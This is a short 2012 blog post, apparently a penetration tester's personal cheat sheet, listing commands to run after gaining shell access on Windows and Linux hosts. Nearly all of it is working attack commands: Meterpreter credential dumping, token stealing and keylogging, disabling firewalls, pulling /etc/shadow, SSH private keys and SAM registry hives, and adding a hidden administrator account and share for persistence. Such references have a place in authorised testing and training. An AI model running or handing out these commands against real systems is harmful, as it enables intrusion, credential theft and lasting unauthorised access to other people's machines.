post_exploit_commands.html

<h1>Post Exploit Commands</h1>
<i>Published February 7, 2012 | By phillips321</i>

Credit for most of the below comes from Mubix who has created a few documents
(on google docs) that lists what to actually do once shell access has been gained.
You can read more about it here and find the links to the docs,
I’m simply blogging about it to make a summary of this for myself.
Meterpreter Post Auth

<h2>Information Gathering</h2>
  getuid
  getpid
  getsprivs
  sysinfo
  screenshot
  run winenum.rb
  run scraper.rb
  run checkvm
  run credscollect
  run get_local_subnets

<h2>Escalating Privs</h2>
  ps then migrate
  getsystem

Tokens (use incognito)
  list_tokens -u
  impersonate_token
  steal_token [pid]
  rev2self

Retrieve Passwords
  hashdump
  cachedump
  post/windows/gather/smart_hashdump
  post/windows/gather/credentials/vnc

Session
  enumdesktops
  getdesktop
  setdesktop
  uictl disable keyboard

Keylog
  keyscan_start
  keyscan_dump
  keyscan_stop
  Nix Post Auth

Disable Firewall
  /etc/init.d/iptables save
  /etc/init.d/iptables stop
  iptables-save > /root/firewall.rules
  iptables-restore < /root/firewall.rules

Files to pull
  /etc/passwd
  /etc/shadow OR /etc/security/shadow (on AIX)
  /etc/groups OR /etc/gshadow
  /home/*/.ssh/id*
  /etc/sudoers

User Information
  grep ^ssh /home/*/.*hist*
  grep ^telnet `/home/*/.*hist*
  grep ^mysql /home/*/.*hist*

<h2>Windows Post Auth</h2>

  Get current logged in user
    @echo %USERNAME%

  Add user
    net user pentest password /add
    net localgroup administrators pentest /add

  Add share
    net share nothing$=C:\ /grant:pentest,FULL /unlimited

  Disable Firewall
    netsh firewall set opmode disable

  Auto Start Directories
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
    C:\Documents And Settings\All Users\Start Menu\Programs\StartUp\
    C:\wmiOWS\Start Menu\Programs\StartUp\
    C:\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\

  Accounts and Policies
    net localgroup administrators OR net localgroup administrators /domain
    net group “Domain Admins” /domain
    net accounts ## or net accounts /domain

  Files to pull
    %SYSTEMROOT%\repair\SAM
    %SYSTEMROOT%\System32\config\RegBack\SAM
    %WINDIR%\repair\sam OR system OR software OR security
    reg save HKLM\Security security.hive
    reg save HKLM\System system.hive
    reg save HKLM\SAM sam.hive

  Enable Remote Desktop
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f